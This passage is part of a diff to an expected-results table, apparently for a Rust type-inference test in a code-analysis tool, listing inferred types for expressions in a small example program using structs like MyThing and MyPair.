main.rs:155:5:156:14 | S1 | -| main.rs:316:30:316:31 | S1 | | main.rs:155:5:156:14 | S1 | -| main.rs:316:38:316:39 | S1 | | main.rs:155:5:156:14 | S1 | -| main.rs:317:13:317:13 | x | | main.rs:155:5:156:14 | S1 | -| main.rs:317:17:317:17 | a | | main.rs:149:5:153:5 | MyPair | -| main.rs:317:17:317:17 | a | P1 | main.rs:155:5:156:14 | S1 | -| main.rs:317:17:317:17 | a | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:317:17:317:23 | a.fst() | | main.rs:155:5:156:14 | S1 | -| main.rs:318:18:318:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:318:26:318:26 | x | | main.rs:155:5:156:14 | S1 | -| main.rs:319:13:319:13 | y | | main.rs:155:5:156:14 | S1 | -| main.rs:319:17:319:17 | a | | main.rs:149:5:153:5 | MyPair | -| main.rs:319:17:319:17 | a | P1 | main.rs:155:5:156:14 | S1 | -| main.rs:319:17:319:17 | a | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:319:17:319:23 | a.snd() | | main.rs:155:5:156:14 | S1 | -| main.rs:320:18:320:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:320:26:320:26 | y | | main.rs:155:5:156:14 | S1 | -| main.rs:326:13:326:13 | b | | main.rs:149:5:153:5 | MyPair | -| main.rs:326:13:326:13 | b | P1 | main.rs:157:5:158:14 | S2 | -| main.rs:326:13:326:13 | b | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:326:17:326:41 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | -| main.rs:326:17:326:41 | MyPair {...} | P1 | main.rs:157:5:158:14 | S2 | -| main.rs:326:17:326:41 | MyPair {...} | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:326:30:326:31 | S2 | | main.rs:157:5:158:14 | S2 | -| main.rs:326:38:326:39 | S1 | | main.rs:155:5:156:14 | S1 | -| main.rs:327:13:327:13 | x | | main.rs:155:5:156:14 | S1 | -| main.rs:327:17:327:17 | b | | main.rs:149:5:153:5 | MyPair | -| main.rs:327:17:327:17 | b | P1 | main.rs:157:5:158:14 | S2 | -| main.rs:327:17:327:17 | b | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:327:17:327:23 | b.fst() | | main.rs:155:5:156:14 | S1 | -| main.rs:328:18:328:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:328:26:328:26 | x | | main.rs:155:5:156:14 | S1 | -| main.rs:329:13:329:13 | y | | main.rs:157:5:158:14 | S2 | -| main.rs:329:17:329:17 | b | | main.rs:149:5:153:5 | MyPair | -| main.rs:329:17:329:17 | b | P1 | main.rs:157:5:158:14 | S2 | -| main.rs:329:17:329:17 | b | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:329:17:329:23 | b.snd() | | main.rs:157:5:158:14 | S2 | +| main.rs:100:25:100:28 | SelfParam | | main.rs:99:5:101:5 | Self [trait MyTrait] | +| main.rs:105:25:105:28 | SelfParam | | main.rs:94:5:97:5 | MyThing | +| main.rs:105:39:107:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:106:13:106:16 | self | | main.rs:94:5:97:5 | MyThing | +| main.rs:106:13:106:22 | self.field | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:111:13:111:13 | x | | main.rs:94:5:97:5 | MyThing | +| main.rs:111:17:111:39 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | +| main.rs:111:34:111:37 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:112:13:112:13 | a | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:112:17:112:17 | x | | main.rs:94:5:97:5 | MyThing | +| main.rs:112:17:112:32 | x.trait_method() | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:114:13:114:13 | y | | main.rs:94:5:97:5 | MyThing | +| main.rs:114:17:114:40 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | +| main.rs:114:34:114:38 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:115:13:115:13 | b | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:115:17:115:40 | ...::trait_method(...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:115:39:115:39 | y | | main.rs:94:5:97:5 | MyThing | +| main.rs:132:15:132:18 | SelfParam | | main.rs:120:5:123:5 | MyThing | +| main.rs:132:15:132:18 | SelfParam | A | main.rs:125:5:126:14 | S1 | +| main.rs:132:27:134:9 | { ... } | | main.rs:125:5:126:14 | S1 | +| main.rs:133:13:133:16 | self | | main.rs:120:5:123:5 | MyThing | +| main.rs:133:13:133:16 | self | A | main.rs:125:5:126:14 | S1 | +| main.rs:133:13:133:18 | self.a | | main.rs:125:5:126:14 | S1 | +| main.rs:139:15:139:18 | SelfParam | | main.rs:120:5:123:5 | MyThing | +| main.rs:139:15:139:18 | SelfParam | A | main.rs:127:5:128:14 | S2 | +| main.rs:139:29:141:9 | { ... } | | main.rs:120:5:123:5 | MyThing | +| main.rs:139:29:141:9 | { ... } | A | main.rs:127:5:128:14 | S2 | +| main.rs:140:13:140:30 | Self {...} | | main.rs:120:5:123:5 | MyThing | +| main.rs:140:13:140:30 | Self {...} | A | main.rs:127:5:128:14 | S2 | +| main.rs:140:23:140:26 | self | | main.rs:120:5:123:5 | MyThing | +| main.rs:140:23:140:26 | self | A | main.rs:127:5:128:14 | S2 | +| main.rs:140:23:140:28 | self.a | | main.rs:127:5:128:14 | S2 | +| main.rs:145:15:145:18 | SelfParam | | main.rs:120:5:123:5 | MyThing | +| main.rs:145:15:145:18 | SelfParam | A | main.rs:144:10:144:10 | T | +| main.rs:145:26:147:9 | { ... } | | main.rs:144:10:144:10 | T | +| main.rs:146:13:146:16 | self | | main.rs:120:5:123:5 | MyThing | +| main.rs:146:13:146:16 | self | A | main.rs:144:10:144:10 | T | +| main.rs:146:13:146:18 | self.a | | main.rs:144:10:144:10 | T | +| main.rs:151:13:151:13 | x | | main.rs:120:5:123:5 | MyThing | +| main.rs:151:13:151:13 | x | A | main.rs:125:5:126:14 | S1 | +| main.rs:151:17:151:33 | MyThing {...} | | main.rs:120:5:123:5 | MyThing | +| main.rs:151:17:151:33 | MyThing {...} | A | main.rs:125:5:126:14 | S1 | +| main.rs:151:30:151:31 | S1 | | main.rs:125:5:126:14 | S1 | +| main.rs:152:13:152:13 | y | | main.rs:120:5:123:5 | MyThing | +| main.rs:152:13:152:13 | y | A | main.rs:127:5:128:14 | S2 | +| main.rs:152:17:152:33 | MyThing {...} | | main.rs:120:5:123:5 | MyThing | +| main.rs:152:17:152:33 | MyThing {...} | A | main.rs:127:5:128:14 | S2 | +| main.rs:152:30:152:31 | S2 | | main.rs:127:5:128:14 | S2 | +| main.rs:155:18:155:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:155:26:155:26 | x | | main.rs:120:5:123:5 | MyThing | +| main.rs:155:26:155:26 | x | A | main.rs:125:5:126:14 | S1 | +| main.rs:155:26:155:28 | x.a | | main.rs:125:5:126:14 | S1 | +| main.rs:156:18:156:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:156:26:156:26 | y | | main.rs:120:5:123:5 | MyThing | +| main.rs:156:26:156:26 | y | A | main.rs:127:5:128:14 | S2 | +| main.rs:156:26:156:28 | y.a | | main.rs:127:5:128:14 | S2 | +| main.rs:158:18:158:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:158:26:158:26 | x | | main.rs:120:5:123:5 | MyThing | +| main.rs:158:26:158:26 | x | A | main.rs:125:5:126:14 | S1 | +| main.rs:158:26:158:31 | x.m1() | | main.rs:125:5:126:14 | S1 | +| main.rs:159:18:159:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:159:26:159:26 | y | | main.rs:120:5:123:5 | MyThing | +| main.rs:159:26:159:26 | y | A | main.rs:127:5:128:14 | S2 | +| main.rs:159:26:159:31 | y.m1() | | main.rs:120:5:123:5 | MyThing | +| main.rs:159:26:159:31 | y.m1() | A | main.rs:127:5:128:14 | S2 | +| main.rs:159:26:159:33 | ... .a | | main.rs:127:5:128:14 | S2 | +| main.rs:161:13:161:13 | x | | main.rs:120:5:123:5 | MyThing | +| main.rs:161:13:161:13 | x | A | main.rs:125:5:126:14 | S1 | +| main.rs:161:17:161:33 | MyThing {...} | | main.rs:120:5:123:5 | MyThing | +| main.rs:161:17:161:33 | MyThing {...} | A | main.rs:125:5:126:14 | S1 | +| main.rs:161:30:161:31 | S1 | | main.rs:125:5:126:14 | S1 | +| main.rs:162:13:162:13 | y | | main.rs:120:5:123:5 | MyThing | +| main.rs:162:13:162:13 | y | A | main.rs:127:5:128:14 | S2 | +| main.rs:162:17:162:33 | MyThing {...} | | main.rs:120:5:123:5 | MyThing | +| main.rs:162:17:162:33 | MyThing {...} | A | main.rs:127:5:128:14 | S2 | +| main.rs:162:30:162:31 | S2 | | main.rs:127:5:128:14 | S2 | +| main.rs:164:18:164:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:164:26:164:26 | x | | main.rs:120:5:123:5 | MyThing | +| main.rs:164:26:164:26 | x | A | main.rs:125:5:126:14 | S1 | +| main.rs:164:26:164:31 | x.m2() | | main.rs:125:5:126:14 | S1 | +| main.rs:165:18:165:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:165:26:165:26 | y | | main.rs:120:5:123:5 | MyThing | +| main.rs:165:26:165:26 | y | A | main.rs:127:5:128:14 | S2 | +| main.rs:165:26:165:31 | y.m2() | | main.rs:127:5:128:14 | S2 | +| main.rs:189:15:189:18 | SelfParam | | main.rs:188:5:197:5 | Self [trait MyTrait] | +| main.rs:191:15:191:18 | SelfParam | | main.rs:188:5:197:5 | Self [trait MyTrait] | +| main.rs:194:9:196:9 | { ... } | | main.rs:188:5:197:5 | Self [trait MyTrait] | +| main.rs:195:13:195:16 | self | | main.rs:188:5:197:5 | Self [trait MyTrait] | +| main.rs:201:16:201:19 | SelfParam | | main.rs:199:5:204:5 | Self [trait MyProduct] | +| main.rs:203:16:203:19 | SelfParam | | main.rs:199:5:204:5 | Self [trait MyProduct] | +| main.rs:206:43:206:43 | x | | main.rs:206:26:206:40 | T2 | +| main.rs:206:56:208:5 | { ... } | | main.rs:206:22:206:23 | T1 | +| main.rs:207:9:207:9 | x | | main.rs:206:26:206:40 | T2 | +| main.rs:207:9:207:14 | x.m1() | | main.rs:206:22:206:23 | T1 | +| main.rs:212:15:212:18 | SelfParam | | main.rs:170:5:173:5 | MyThing | +| main.rs:212:15:212:18 | SelfParam | A | main.rs:181:5:182:14 | S1 | +| main.rs:212:27:214:9 | { ... } | | main.rs:181:5:182:14 | S1 | +| main.rs:213:13:213:16 | self | | main.rs:170:5:173:5 | MyThing | +| main.rs:213:13:213:16 | self | A | main.rs:181:5:182:14 | S1 | +| main.rs:213:13:213:18 | self.a | | main.rs:181:5:182:14 | S1 | +| main.rs:219:15:219:18 | SelfParam | | main.rs:170:5:173:5 | MyThing | +| main.rs:219:15:219:18 | SelfParam | A | main.rs:183:5:184:14 | S2 | +| main.rs:219:29:221:9 | { ... } | | main.rs:170:5:173:5 | MyThing | +| main.rs:219:29:221:9 | { ... } | A | main.rs:183:5:184:14 | S2 | +| main.rs:220:13:220:30 | Self {...} | | main.rs:170:5:173:5 | MyThing | +| main.rs:220:13:220:30 | Self {...} | A | main.rs:183:5:184:14 | S2 | +| main.rs:220:23:220:26 | self | | main.rs:170:5:173:5 | MyThing | +| main.rs:220:23:220:26 | self | A | main.rs:183:5:184:14 | S2 | +| main.rs:220:23:220:28 | self.a | | main.rs:183:5:184:14 | S2 | +| main.rs:231:15:231:18 | SelfParam | | main.rs:170:5:173:5 | MyThing | +| main.rs:231:15:231:18 | SelfParam | A | main.rs:185:5:186:14 | S3 | +| main.rs:231:27:233:9 | { ... } | | main.rs:226:10:226:11 | TD | +| main.rs:232:13:232:25 | ...::default(...) | | main.rs:226:10:226:11 | TD | +| main.rs:238:15:238:18 | SelfParam | | main.rs:175:5:179:5 | MyPair | +| main.rs:238:15:238:18 | SelfParam | P1 | main.rs:236:10:236:10 | I | +| main.rs:238:15:238:18 | SelfParam | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:238:26:240:9 | { ... } | | main.rs:236:10:236:10 | I | +| main.rs:239:13:239:16 | self | | main.rs:175:5:179:5 | MyPair | +| main.rs:239:13:239:16 | self | P1 | main.rs:236:10:236:10 | I | +| main.rs:239:13:239:16 | self | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:239:13:239:19 | self.p1 | | main.rs:236:10:236:10 | I | +| main.rs:245:15:245:18 | SelfParam | | main.rs:175:5:179:5 | MyPair | +| main.rs:245:15:245:18 | SelfParam | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:245:15:245:18 | SelfParam | P2 | main.rs:183:5:184:14 | S2 | +| main.rs:245:27:247:9 | { ... } | | main.rs:185:5:186:14 | S3 | +| main.rs:246:13:246:14 | S3 | | main.rs:185:5:186:14 | S3 | +| main.rs:252:15:252:18 | SelfParam | | main.rs:175:5:179:5 | MyPair | +| main.rs:252:15:252:18 | SelfParam | P1 | main.rs:170:5:173:5 | MyThing | +| main.rs:252:15:252:18 | SelfParam | P1.A | main.rs:250:10:250:11 | TT | +| main.rs:252:15:252:18 | SelfParam | P2 | main.rs:185:5:186:14 | S3 | +| main.rs:252:27:255:9 | { ... } | | main.rs:250:10:250:11 | TT | +| main.rs:253:17:253:21 | alpha | | main.rs:170:5:173:5 | MyThing | +| main.rs:253:17:253:21 | alpha | A | main.rs:250:10:250:11 | TT | +| main.rs:253:25:253:28 | self | | main.rs:175:5:179:5 | MyPair | +| main.rs:253:25:253:28 | self | P1 | main.rs:170:5:173:5 | MyThing | +| main.rs:253:25:253:28 | self | P1.A | main.rs:250:10:250:11 | TT | +| main.rs:253:25:253:28 | self | P2 | main.rs:185:5:186:14 | S3 | +| main.rs:253:25:253:31 | self.p1 | | main.rs:170:5:173:5 | MyThing | +| main.rs:253:25:253:31 | self.p1 | A | main.rs:250:10:250:11 | TT | +| main.rs:254:13:254:17 | alpha | | main.rs:170:5:173:5 | MyThing | +| main.rs:254:13:254:17 | alpha | A | main.rs:250:10:250:11 | TT | +| main.rs:254:13:254:19 | alpha.a | | main.rs:250:10:250:11 | TT | +| main.rs:261:16:261:19 | SelfParam | | main.rs:175:5:179:5 | MyPair | +| main.rs:261:16:261:19 | SelfParam | P1 | main.rs:259:10:259:10 | A | +| main.rs:261:16:261:19 | SelfParam | P2 | main.rs:259:10:259:10 | A | +| main.rs:261:27:263:9 | { ... } | | main.rs:259:10:259:10 | A | +| main.rs:262:13:262:16 | self | | main.rs:175:5:179:5 | MyPair | +| main.rs:262:13:262:16 | self | P1 | main.rs:259:10:259:10 | A | +| main.rs:262:13:262:16 | self | P2 | main.rs:259:10:259:10 | A | +| main.rs:262:13:262:19 | self.p1 | | main.rs:259:10:259:10 | A | +| main.rs:266:16:266:19 | SelfParam | | main.rs:175:5:179:5 | MyPair | +| main.rs:266:16:266:19 | SelfParam | P1 | main.rs:259:10:259:10 | A | +| main.rs:266:16:266:19 | SelfParam | P2 | main.rs:259:10:259:10 | A | +| main.rs:266:27:268:9 | { ... } | | main.rs:259:10:259:10 | A | +| main.rs:267:13:267:16 | self | | main.rs:175:5:179:5 | MyPair | +| main.rs:267:13:267:16 | self | P1 | main.rs:259:10:259:10 | A | +| main.rs:267:13:267:16 | self | P2 | main.rs:259:10:259:10 | A | +| main.rs:267:13:267:19 | self.p2 | | main.rs:259:10:259:10 | A | +| main.rs:274:16:274:19 | SelfParam | | main.rs:175:5:179:5 | MyPair | +| main.rs:274:16:274:19 | SelfParam | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:274:16:274:19 | SelfParam | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:274:28:276:9 | { ... } | | main.rs:181:5:182:14 | S1 | +| main.rs:275:13:275:16 | self | | main.rs:175:5:179:5 | MyPair | +| main.rs:275:13:275:16 | self | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:275:13:275:16 | self | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:275:13:275:19 | self.p2 | | main.rs:181:5:182:14 | S1 | +| main.rs:279:16:279:19 | SelfParam | | main.rs:175:5:179:5 | MyPair | +| main.rs:279:16:279:19 | SelfParam | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:279:16:279:19 | SelfParam | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:279:28:281:9 | { ... } | | main.rs:183:5:184:14 | S2 | +| main.rs:280:13:280:16 | self | | main.rs:175:5:179:5 | MyPair | +| main.rs:280:13:280:16 | self | P1 | main.rs:183:5:184:14 | S2 | +| main.rs:280:13:280:16 | self | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:280:13:280:19 | self.p1 | | main.rs:183:5:184:14 | S2 | +| main.rs:284:46:284:46 | p | | main.rs:284:24:284:43 | P | +| main.rs:284:58:286:5 | { ... } | | main.rs:284:16:284:17 | V1 | +| main.rs:285:9:285:9 | p | | main.rs:284:24:284:43 | P | +| main.rs:285:9:285:15 | p.fst() | | main.rs:284:16:284:17 | V1 | +| main.rs:288:46:288:46 | p | | main.rs:288:24:288:43 | P | +| main.rs:288:58:290:5 | { ... } | | main.rs:288:20:288:21 | V2 | +| main.rs:289:9:289:9 | p | | main.rs:288:24:288:43 | P | +| main.rs:289:9:289:15 | p.snd() | | main.rs:288:20:288:21 | V2 | +| main.rs:292:54:292:54 | p | | main.rs:175:5:179:5 | MyPair | +| main.rs:292:54:292:54 | p | P1 | main.rs:292:20:292:21 | V0 | +| main.rs:292:54:292:54 | p | P2 | main.rs:292:32:292:51 | P | +| main.rs:292:78:294:5 | { ... } | | main.rs:292:24:292:25 | V1 | +| main.rs:293:9:293:9 | p | | main.rs:175:5:179:5 | MyPair | +| main.rs:293:9:293:9 | p | P1 | main.rs:292:20:292:21 | V0 | +| main.rs:293:9:293:9 | p | P2 | main.rs:292:32:292:51 | P | +| main.rs:293:9:293:12 | p.p2 | | main.rs:292:32:292:51 | P | +| main.rs:293:9:293:18 | ... .fst() | | main.rs:292:24:292:25 | V1 | +| main.rs:298:23:298:26 | SelfParam | | main.rs:296:5:299:5 | Self [trait ConvertTo] | +| main.rs:303:23:303:26 | SelfParam | | main.rs:301:10:301:23 | T | +| main.rs:303:35:305:9 | { ... } | | main.rs:181:5:182:14 | S1 | +| main.rs:304:13:304:16 | self | | main.rs:301:10:301:23 | T | +| main.rs:304:13:304:21 | self.m1() | | main.rs:181:5:182:14 | S1 | +| main.rs:308:41:308:45 | thing | | main.rs:308:23:308:38 | T | +| main.rs:308:57:310:5 | { ... } | | main.rs:308:19:308:20 | TS | +| main.rs:309:9:309:13 | thing | | main.rs:308:23:308:38 | T | +| main.rs:309:9:309:26 | thing.convert_to() | | main.rs:308:19:308:20 | TS | +| main.rs:312:56:312:60 | thing | | main.rs:312:39:312:53 | TP | +| main.rs:312:73:315:5 | { ... } | | main.rs:181:5:182:14 | S1 | +| main.rs:314:9:314:13 | thing | | main.rs:312:39:312:53 | TP | +| main.rs:314:9:314:26 | thing.convert_to() | | main.rs:181:5:182:14 | S1 | +| main.rs:318:13:318:20 | thing_s1 | | main.rs:170:5:173:5 | MyThing | +| main.rs:318:13:318:20 | thing_s1 | A | main.rs:181:5:182:14 | S1 | +| main.rs:318:24:318:40 | MyThing {...} | | main.rs:170:5:173:5 | MyThing | +| main.rs:318:24:318:40 | MyThing {...} | A | main.rs:181:5:182:14 | S1 | +| main.rs:318:37:318:38 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:319:13:319:20 | thing_s2 | | main.rs:170:5:173:5 | MyThing | +| main.rs:319:13:319:20 | thing_s2 | A | main.rs:183:5:184:14 | S2 | +| main.rs:319:24:319:40 | MyThing {...} | | main.rs:170:5:173:5 | MyThing | +| main.rs:319:24:319:40 | MyThing {...} | A | main.rs:183:5:184:14 | S2 | +| main.rs:319:37:319:38 | S2 | | main.rs:183:5:184:14 | S2 | +| main.rs:320:13:320:20 | thing_s3 | | main.rs:170:5:173:5 | MyThing | +| main.rs:320:13:320:20 | thing_s3 | A | main.rs:185:5:186:14 | S3 | +| main.rs:320:24:320:40 | MyThing {...} | | main.rs:170:5:173:5 | MyThing | +| main.rs:320:24:320:40 | MyThing {...} | A | main.rs:185:5:186:14 | S3 | +| main.rs:320:37:320:38 | S3 | | main.rs:185:5:186:14 | S3 | +| main.rs:324:18:324:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:324:26:324:33 | thing_s1 | | main.rs:170:5:173:5 | MyThing | +| main.rs:324:26:324:33 | thing_s1 | A | main.rs:181:5:182:14 | S1 | +| main.rs:324:26:324:38 | thing_s1.m1() | | main.rs:181:5:182:14 | S1 | +| main.rs:325:18:325:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:325:26:325:33 | thing_s2 | | main.rs:170:5:173:5 | MyThing | +| main.rs:325:26:325:33 | thing_s2 | A | main.rs:183:5:184:14 | S2 | +| main.rs:325:26:325:38 | thing_s2.m1() | | main.rs:170:5:173:5 | MyThing | +| main.rs:325:26:325:38 | thing_s2.m1() | A | main.rs:183:5:184:14 | S2 | +| main.rs:325:26:325:40 | ... .a | | main.rs:183:5:184:14 | S2 | +| main.rs:326:13:326:14 | s3 | | main.rs:185:5:186:14 | S3 | +| main.rs:326:22:326:29 | thing_s3 | | main.rs:170:5:173:5 | MyThing | +| main.rs:326:22:326:29 | thing_s3 | A | main.rs:185:5:186:14 | S3 | +| main.rs:326:22:326:34 | thing_s3.m1() | | main.rs:185:5:186:14 | S3 | +| main.rs:327:18:327:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:327:26:327:27 | s3 | | main.rs:185:5:186:14 | S3 | +| main.rs:329:13:329:14 | p1 | | main.rs:175:5:179:5 | MyPair | +| main.rs:329:13:329:14 | p1 | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:329:13:329:14 | p1 | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:329:18:329:42 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:329:18:329:42 | MyPair {...} | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:329:18:329:42 | MyPair {...} | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:329:31:329:32 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:329:39:329:40 | S1 | | main.rs:181:5:182:14 | S1 | | main.rs:330:18:330:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:330:26:330:26 | y | | main.rs:157:5:158:14 | S2 | -| main.rs:334:13:334:13 | x | | main.rs:155:5:156:14 | S1 | -| main.rs:334:17:334:39 | call_trait_m1(...) | | main.rs:155:5:156:14 | S1 | -| main.rs:334:31:334:38 | thing_s1 | | main.rs:144:5:147:5 | MyThing | -| main.rs:334:31:334:38 | thing_s1 | A | main.rs:155:5:156:14 | S1 | -| main.rs:335:18:335:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:335:26:335:26 | x | | main.rs:155:5:156:14 | S1 | -| main.rs:336:13:336:13 | y | | main.rs:144:5:147:5 | MyThing | -| main.rs:336:13:336:13 | y | A | main.rs:157:5:158:14 | S2 | -| main.rs:336:17:336:39 | call_trait_m1(...) | | main.rs:144:5:147:5 | MyThing | -| main.rs:336:17:336:39 | call_trait_m1(...) | A | main.rs:157:5:158:14 | S2 | -| main.rs:336:31:336:38 | thing_s2 | | main.rs:144:5:147:5 | MyThing | -| main.rs:336:31:336:38 | thing_s2 | A | main.rs:157:5:158:14 | S2 | -| main.rs:337:18:337:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:337:26:337:26 | y | | main.rs:144:5:147:5 | MyThing | -| main.rs:337:26:337:26 | y | A | main.rs:157:5:158:14 | S2 | -| main.rs:337:26:337:28 | y.a | | main.rs:157:5:158:14 | S2 | -| main.rs:340:13:340:13 | a | | main.rs:149:5:153:5 | MyPair | -| main.rs:340:13:340:13 | a | P1 | main.rs:155:5:156:14 | S1 | -| main.rs:340:13:340:13 | a | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:340:17:340:41 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | -| main.rs:340:17:340:41 | MyPair {...} | P1 | main.rs:155:5:156:14 | S1 | -| main.rs:340:17:340:41 | MyPair {...} | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:340:30:340:31 | S1 | | main.rs:155:5:156:14 | S1 | -| main.rs:340:38:340:39 | S1 | | main.rs:155:5:156:14 | S1 | -| main.rs:341:13:341:13 | x | | main.rs:155:5:156:14 | S1 | -| main.rs:341:17:341:26 | get_fst(...) | | main.rs:155:5:156:14 | S1 | -| main.rs:341:25:341:25 | a | | main.rs:149:5:153:5 | MyPair | -| main.rs:341:25:341:25 | a | P1 | main.rs:155:5:156:14 | S1 | -| main.rs:341:25:341:25 | a | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:342:18:342:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:342:26:342:26 | x | | main.rs:155:5:156:14 | S1 | -| main.rs:343:13:343:13 | y | | main.rs:155:5:156:14 | S1 | -| main.rs:343:17:343:26 | get_snd(...) | | main.rs:155:5:156:14 | S1 | -| main.rs:343:25:343:25 | a | | main.rs:149:5:153:5 | MyPair | -| main.rs:343:25:343:25 | a | P1 | main.rs:155:5:156:14 | S1 | -| main.rs:343:25:343:25 | a | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:330:26:330:27 | p1 | | main.rs:175:5:179:5 | MyPair | +| main.rs:330:26:330:27 | p1 | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:330:26:330:27 | p1 | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:330:26:330:32 | p1.m1() | | main.rs:181:5:182:14 | S1 | +| main.rs:332:13:332:14 | p2 | | main.rs:175:5:179:5 | MyPair | +| main.rs:332:13:332:14 | p2 | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:332:13:332:14 | p2 | P2 | main.rs:183:5:184:14 | S2 | +| main.rs:332:18:332:42 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:332:18:332:42 | MyPair {...} | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:332:18:332:42 | MyPair {...} | P2 | main.rs:183:5:184:14 | S2 | +| main.rs:332:31:332:32 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:332:39:332:40 | S2 | | main.rs:183:5:184:14 | S2 | +| main.rs:333:18:333:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:333:26:333:27 | p2 | | main.rs:175:5:179:5 | MyPair | +| main.rs:333:26:333:27 | p2 | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:333:26:333:27 | p2 | P2 | main.rs:183:5:184:14 | S2 | +| main.rs:333:26:333:32 | p2.m1() | | main.rs:185:5:186:14 | S3 | +| main.rs:335:13:335:14 | p3 | | main.rs:175:5:179:5 | MyPair | +| main.rs:335:13:335:14 | p3 | P1 | main.rs:170:5:173:5 | MyThing | +| main.rs:335:13:335:14 | p3 | P1.A | main.rs:181:5:182:14 | S1 | +| main.rs:335:13:335:14 | p3 | P2 | main.rs:185:5:186:14 | S3 | +| main.rs:335:18:338:9 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:335:18:338:9 | MyPair {...} | P1 | main.rs:170:5:173:5 | MyThing | +| main.rs:335:18:338:9 | MyPair {...} | P1.A | main.rs:181:5:182:14 | S1 | +| main.rs:335:18:338:9 | MyPair {...} | P2 | main.rs:185:5:186:14 | S3 | +| main.rs:336:17:336:33 | MyThing {...} | | main.rs:170:5:173:5 | MyThing | +| main.rs:336:17:336:33 | MyThing {...} | A | main.rs:181:5:182:14 | S1 | +| main.rs:336:30:336:31 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:337:17:337:18 | S3 | | main.rs:185:5:186:14 | S3 | +| main.rs:339:18:339:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:339:26:339:27 | p3 | | main.rs:175:5:179:5 | MyPair | +| main.rs:339:26:339:27 | p3 | P1 | main.rs:170:5:173:5 | MyThing | +| main.rs:339:26:339:27 | p3 | P1.A | main.rs:181:5:182:14 | S1 | +| main.rs:339:26:339:27 | p3 | P2 | main.rs:185:5:186:14 | S3 | +| main.rs:339:26:339:32 | p3.m1() | | main.rs:181:5:182:14 | S1 | +| main.rs:342:13:342:13 | a | | main.rs:175:5:179:5 | MyPair | +| main.rs:342:13:342:13 | a | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:342:13:342:13 | a | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:342:17:342:41 | MyPair {...} | | main.rs:175:5:179:5 | MyPair | +| main.rs:342:17:342:41 | MyPair {...} | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:342:17:342:41 | MyPair {...} | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:342:30:342:31 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:342:38:342:39 | S1 | | main.rs:181:5:182:14 | S1 | +| main.rs:343:13:343:13 | x | | main.rs:181:5:182:14 | 